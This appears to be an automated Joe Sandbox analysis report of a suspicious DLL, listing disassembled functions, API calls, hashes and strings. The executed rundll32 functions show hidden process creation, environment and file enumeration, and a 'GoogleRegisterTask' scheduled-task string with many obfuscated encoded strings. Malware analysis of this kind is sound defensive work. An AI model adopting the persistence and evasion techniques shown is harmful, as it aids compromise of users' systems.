Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: d7d4bfe5acaf525338a89680b7da018613995372b7c72501a6a0737db3006e52
Instruction ID: ed5a476d506af7168feaf878b94606791f719d4a724a377b13d79c04755298fd
Opcode Fuzzy Hash: d7d4bfe5acaf525338a89680b7da018613995372b7c72501a6a0737db3006e52
Instruction Fuzzy Hash: 8151B572A00206EFEB114F66CC81EAB36AEEF85718F31456DFD14D6250E739DC62C660

Function 6BEE78B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6BEE7863,?,?,00000001,?,?,?,6BEE7952,00000001,FlsFree,6BEFDCE0,FlsFree), ref: 6BEE78BF
GetLastError.KERNEL32(?,6BEE7863,?,?,00000001,?,?,?,6BEE7952,00000001,FlsFree,6BEFDCE0,FlsFree,?,?,6BEE6878), ref: 6BEE78C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6BEE78F1

Strings

api-ms-, xrefs: 6BEE78D6

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e4d7344decf3d80a19337009759a7b662bf7b7c126029881f08376ed68de5b19
Instruction ID: 07185dbae65f75843e6633be9cd50c49f515a44a82db695cad948756904bf4c0
Opcode Fuzzy Hash: e4d7344decf3d80a19337009759a7b662bf7b7c126029881f08376ed68de5b19
Instruction Fuzzy Hash: 3FE04F3468430EB7EF011A70EC06B493F6AAF41B44F308070FA0EE8192EB69D463D5A8

Function 6BEF25E6 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(316303B8,00000000,00000000,?), ref: 6BEF2649

Part of subcall function 6BEF4945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6BEF8E9F,?,00000000,-00000008), ref: 6BEF49A6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6BEF289B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6BEF28E1
GetLastError.KERNEL32 ref: 6BEF2984

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 645bdfdbcaf703caa415445000137a77293ea4f3e6cd21040eec0e0a41cec58a
Instruction ID: eea9ee77f1fa0ac37a4e8ae47c65b12bb0e48bab9328c1ef689e47554b433a08
Opcode Fuzzy Hash: 645bdfdbcaf703caa415445000137a77293ea4f3e6cd21040eec0e0a41cec58a
Instruction Fuzzy Hash: 70D16975D042999FCF05CFA8C880AEDBBB9FF09314F28816AE455AB351E734A946CB50

Function 6BEE6883 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6BEE694A
___AdjustPointer.LIBCMT ref: 6BEE696D
___AdjustPointer.LIBCMT ref: 6BEE6A09

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d2ef2fcfa08cab07a60068094c01ebc37909509befd1c5ee313db48a312f3af5
Instruction ID: 9278f3363983327ae51e5042e11455b82848e12c66c4dd19108e8ffcfbfff2e2
Opcode Fuzzy Hash: d2ef2fcfa08cab07a60068094c01ebc37909509befd1c5ee313db48a312f3af5
Instruction Fuzzy Hash: 05510272A00702AFEB148F65C841B6A77B5FF44718F30456DDA15472A0EB3AE8A3C7B0

Function 6BEF3694 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6BEF4945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6BEF8E9F,?,00000000,-00000008), ref: 6BEF49A6

GetLastError.KERNEL32 ref: 6BEF36F8
__dosmaperr.LIBCMT ref: 6BEF36FF
GetLastError.KERNEL32(?,?,?,?), ref: 6BEF3739
__dosmaperr.LIBCMT ref: 6BEF3740

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 0c49434107f1adf2201ef23b8f59de0fed83fc9a83f8d390396a1df39a1ed216
Instruction ID: c0742dea000de2b12f42e4f4bd084e5f863bf142917a27495539239e83d96cfa
Opcode Fuzzy Hash: 0c49434107f1adf2201ef23b8f59de0fed83fc9a83f8d390396a1df39a1ed216
Instruction Fuzzy Hash: 7E21DA71604205AFDB309FB5C88095BB7BDEF01368720865DE91997740D73CEC138BA2

Function 6BEF49E8 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6BEF49F0

Part of subcall function 6BEF4945: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6BEF8E9F,?,00000000,-00000008), ref: 6BEF49A6

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6BEF4A28
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6BEF4A48

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: dd6919b014582d8076a9900fcc1989a445e57d54395619ca5e6b5d542788ef0c
Instruction ID: 8d06a80680174a92215259c5c1cbad4c1829fa67e82f00248b9b25abbf8cf19f
Opcode Fuzzy Hash: dd6919b014582d8076a9900fcc1989a445e57d54395619ca5e6b5d542788ef0c
Instruction Fuzzy Hash: EE1126B6A009097F6B115BB69EC9C6F2EBDCEC62AC320402AF901D1201FB6CCF038175

Function 6BEF9F4D Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6BEED16B,00000000,00000000,?,6BEF85E1,00000000,00000001,?,?,?,6BEF29D8,?,00000000,00000000), ref: 6BEF9F64
GetLastError.KERNEL32(?,6BEF85E1,00000000,00000001,?,?,?,6BEF29D8,?,00000000,00000000,?,?,?,6BEF2FB2,00000000), ref: 6BEF9F70

Part of subcall function 6BEF9F36: CloseHandle.KERNEL32(FFFFFFFE,6BEF9F80,?,6BEF85E1,00000000,00000001,?,?,?,6BEF29D8,?,00000000,00000000,?,?), ref: 6BEF9F46

___initconout.LIBCMT ref: 6BEF9F80

Part of subcall function 6BEF9EF8: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6BEF9F27,6BEF85CE,?,?,6BEF29D8,?,00000000,00000000,?), ref: 6BEF9F0B

WriteConsoleW.KERNEL32(00000000,00000000,6BEED16B,00000000,?,6BEF85E1,00000000,00000001,?,?,?,6BEF29D8,?,00000000,00000000,?), ref: 6BEF9F95

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 9f66d56b1d02a20b6ddecbb132e98efb5f6b809b93716b6d65474d50d18109a7
Instruction ID: b596129ca9fee8d9be0ebf60571222373f52587979f4dec35f617ab38b1289b0
Opcode Fuzzy Hash: 9f66d56b1d02a20b6ddecbb132e98efb5f6b809b93716b6d65474d50d18109a7
Instruction Fuzzy Hash: 87F01C3F550119BBCF221FD1DC08A9A3F6BFB493A5B104014FA5985130D736C821EB91

Function 6BEEC7EE Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BEEC965

Strings

+, xrefs: 6BEEC8C3
-, xrefs: 6BEEC8B6

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: f256cc07467344d5823d9b5aafbfa4d5866cd55d923b229930bfc182ace8684e
Instruction ID: 92172682d664e1778ced58846db2e6d4903edcf480fcc7953dd04ca5bb50d6b9
Opcode Fuzzy Hash: f256cc07467344d5823d9b5aafbfa4d5866cd55d923b229930bfc182ace8684e
Instruction Fuzzy Hash: 6EA1C131F44258AEDB14CE78C8507EE7FB5AB46728F248599E8A5AB380D339D503CB70

Function 6BEE6E7F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 6BEE6EA4

Strings

MOC, xrefs: 6BEE6EB6
RCC, xrefs: 6BEE6EBE

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f5c5c653899211d2c3f0c51b465975acb247b58a59ca5e43efa1b41fe6f978e6
Instruction ID: 07c59fc63bb1d3b56803c1f0135bc25db77e4cf88901a78061eb46decf4d5a73
Opcode Fuzzy Hash: f5c5c653899211d2c3f0c51b465975acb247b58a59ca5e43efa1b41fe6f978e6
Instruction Fuzzy Hash: 41413E71900209AFDF05CFA4CC81ADE7BB6FF48308F258199FA186B255D339D962DB61

Analysis Process: rundll32.exePID: 6092, Parent PID: 3224COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 6FE61B85 Relevance: 35.3, APIs: 11, Strings: 9, Instructions: 303
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,3089EAF1), ref: 6FE61C0B
_strlen.LIBCMT ref: 6FE61D30
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6FE61D9D
FindNextFileW.KERNELBASE(?,?,?,?,?,3089EAF1), ref: 6FE61FAC

Strings

s`bovb-f{f, xrefs: 6FE61DF8
PT30S, xrefs: 6FE61E10
%s\*.*, xrefs: 6FE61BE7
IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>, xrefs: 6FE61D10
-a , xrefs: 6FE61DC2
%s\%s, xrefs: 6FE61C6E
%s\%s, xrefs: 6FE61E84
%s\%s, xrefs: 6FE61F48
GoogleRegisterTask, xrefs: 6FE61E69

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: FileFind$EnvironmentExpandFirstNextStrings_strlen
String ID: %s\%s$%s\%s$%s\%s$%s\*.*$-a $GoogleRegisterTask$IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>$PT30S$s`bovb-f{f
API String ID: 4146766196-3364674013
Opcode ID: 2ef09f69e596e96de7b99643f26d60b01687fe9999c6bb1e91738f3d89748fa3
Instruction ID: 44b7c5314e9c6876a6fd090f3cdcbd82c15033b698428fbbc8a4217366a73b68
Opcode Fuzzy Hash: 2ef09f69e596e96de7b99643f26d60b01687fe9999c6bb1e91738f3d89748fa3
Instruction Fuzzy Hash: 45C1BE7198420DABDF21EFA4CC45BED7FB9AF06718F60402AF914DA2C1EB389654CB51

Function 6FE64402 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 260
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6FE6171F: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6FE6175A
Part of subcall function 6FE6171F: _strlen.LIBCMT ref: 6FE6177C
Part of subcall function 6FE6171F: GetProcAddress.KERNEL32(?), ref: 6FE617E2
Part of subcall function 6FE6171F: _strlen.LIBCMT ref: 6FE6180D

_strlen.LIBCMT ref: 6FE64460
GetEnvironmentVariableW.KERNEL32(?,?,00000032), ref: 6FE644CA
_strlen.LIBCMT ref: 6FE644F0
_strlen.LIBCMT ref: 6FE64571
_strlen.LIBCMT ref: 6FE645E8

Part of subcall function 6FE6192F: _strlen.LIBCMT ref: 6FE619BD
Part of subcall function 6FE6192F: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FE874C4), ref: 6FE61A5E

Sleep.KERNELBASE(000005DC), ref: 6FE64654
Sleep.KERNELBASE(00007530), ref: 6FE6465F
_strlen.LIBCMT ref: 6FE64685
_strlen.LIBCMT ref: 6FE64706

Part of subcall function 6FE61B85: FindFirstFileW.KERNELBASE(?,?,?,?,?,3089EAF1), ref: 6FE61C0B

Strings

[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB, xrefs: 6FE644D0
%s%s, xrefs: 6FE6452F
[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6FE64665
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6FE646E6
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6FE64440
%s%s, xrefs: 6FE64745
%s%s, xrefs: 6FE646C4
VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>, xrefs: 6FE64551
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB, xrefs: 6FE645C8

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: _strlen$Sleep$AddressCreateEnvironmentFileFindFirstHandleModuleProcProcessVariable
String ID: %s%s$%s%s$%s%s$VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 405535372-2132796354
Opcode ID: 7b7271c7acb1a83617d7dd1022b2b19ee3c62c0dae742cf906c7f0d0afed26df
Instruction ID: 3046ba41fce64d4b327e009d71c8206825713b6ddd79a6ae31d9639d0b8d10e6
Opcode Fuzzy Hash: 7b7271c7acb1a83617d7dd1022b2b19ee3c62c0dae742cf906c7f0d0afed26df
Instruction Fuzzy Hash: B1A11AB2C4024CAFDF71DBE8DC85FDD7BB9AF19208F24001AE918A7182EB3596158F55

Function 6FE6192F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 174
processCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6FE619BD
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FE874C4), ref: 6FE61A5E
_strlen.LIBCMT ref: 6FE61AC4
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6FE874E0), ref: 6FE61B60

Strings

%s %s, xrefs: 6FE61A24
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB, xrefs: 6FE61AA4
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6FE6199D
%s %s, xrefs: 6FE61B26

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: CreateProcess_strlen
String ID: %s %s$%s %s$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB
API String ID: 3222040079-4228346574
Opcode ID: 13c46e3dc49025af4d608e690a42cabcfa5095103fb65547fa1b8daaa755b33c
Instruction ID: bb419dd8b932c6b7e6cfccfbbcbc925a4b4bb1c1b0062abe828f7a1d6985310a
Opcode Fuzzy Hash: 13c46e3dc49025af4d608e690a42cabcfa5095103fb65547fa1b8daaa755b33c
Instruction Fuzzy Hash: 6E513171D8024CABEB31DFE4DC41FDD7FA8AF15748F24001AE618EA1C2E7B566148B55

Function 6FE64D53 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6FE64D90
dllmain_crt_dispatch.LIBCMT ref: 6FE64DA7
dllmain_raw.LIBCMT ref: 6FE64DEF
dllmain_crt_dispatch.LIBCMT ref: 6FE64E02
dllmain_raw.LIBCMT ref: 6FE64E15

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: e4b92d6dc209aadc5112f98f2f905e16d4d20f9724e1be56ca310422b948b46d
Instruction ID: 4e0b3992bae2371221a20d840c16b666b5be180a1f5955a7af391c6495f688f4
Opcode Fuzzy Hash: e4b92d6dc209aadc5112f98f2f905e16d4d20f9724e1be56ca310422b948b46d
Instruction Fuzzy Hash: E021BF72D8062DAFCB228F55CD50AAF3E69FF81A98B21411BF8246B350D3319D018B90

Function 6FE64B9C Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6FE64BE9

Part of subcall function 6FE650D5: RtlInitializeSListHead.NTDLL(6FE86DC0), ref: 6FE650DA

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6FE64C53

Memory Dump Source

Source File: 00000003.00000002.2133601601.000000006FE61000.00000040.00000001.01000000.00000003.sdmp, Offset: 6FE60000, based on PE: true

Associated: 00000003.00000002.2133569723.000000006FE60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133601601.000000006FE8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133707700.000000006FE8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2133752630.000000006FE8E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6fe60000_rundll32.jbxd

Similarity

